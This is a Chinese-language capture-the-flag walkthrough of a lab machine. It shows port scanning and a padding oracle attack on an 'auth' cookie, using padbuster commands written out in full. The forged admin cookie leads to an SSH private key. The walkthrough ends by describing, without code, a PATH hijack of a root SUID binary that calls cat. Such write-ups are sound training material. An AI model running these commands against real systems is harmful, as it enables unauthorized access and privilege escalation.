1 信息收集
1.端口扫描
发现 SSH(22)、HTTP(80)端口
nmap -sC -sV 10.129.159.51

2.访问 80 端口

1.页面中存在注册功能,测试注册功能

页面返回登录页面及用户名

使用burpsuite观察注册请求 /register.php

2.cookie 测试
登录请求 /index.php,观察cookie,auth不是标准的 PHP 会话管理 cookie,测试auth

测试auth,在更改auth的值后,响应显示 Invalid padding,根据响应,猜测可能存在 padding 漏洞

2 padding 攻击
1.padding oracle攻击技术
padding oracle攻击技术 是指使用密文的填充验证信息来进行解密的攻击方法。密码学中,可变长度的明文信息通常需要经填充后才能兼容基础的密码原语。
攻击者可以拦截加密算法加密的消息。通过padding oracle攻击技术,在不清楚 key 和 IV 的前提下解密任意给定的密文。
使用padbuster工具进行测试:
http://10.129.139.45/index.php
[EncryptedSample] -- Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT一个有效的 cookie
[BlockSize] - 8,一般为 8 或 16。
-cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT -- 向 padbuster 传递数据的存放位置
-encoding 0 -- base64
padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0


使用 padbuster工具加密admin
padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0 -plaintext user=admin


获取权限
获取到新的cookie,使用cookie进行登录,替换cookie,刷新/index.php
BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA

使用admin账户登录成功,页面URI显示用户为 mitsos,及一个RSA私钥

SSH登录
chmod 600 id_rsa
ssh -i id_rsa mitsos@10.129.139.45

3 权限提升

在 mitsos 的主目录中有一个 根 SUID 二进制文件backup ,以及 cat 命令,运行backup,它输出的内容类似于 /etc/shadow,该文件只能由 root 读取


因为suid程序正在调用cat命令,我们可以编辑cat使用sudo权限打开/bin/sh




















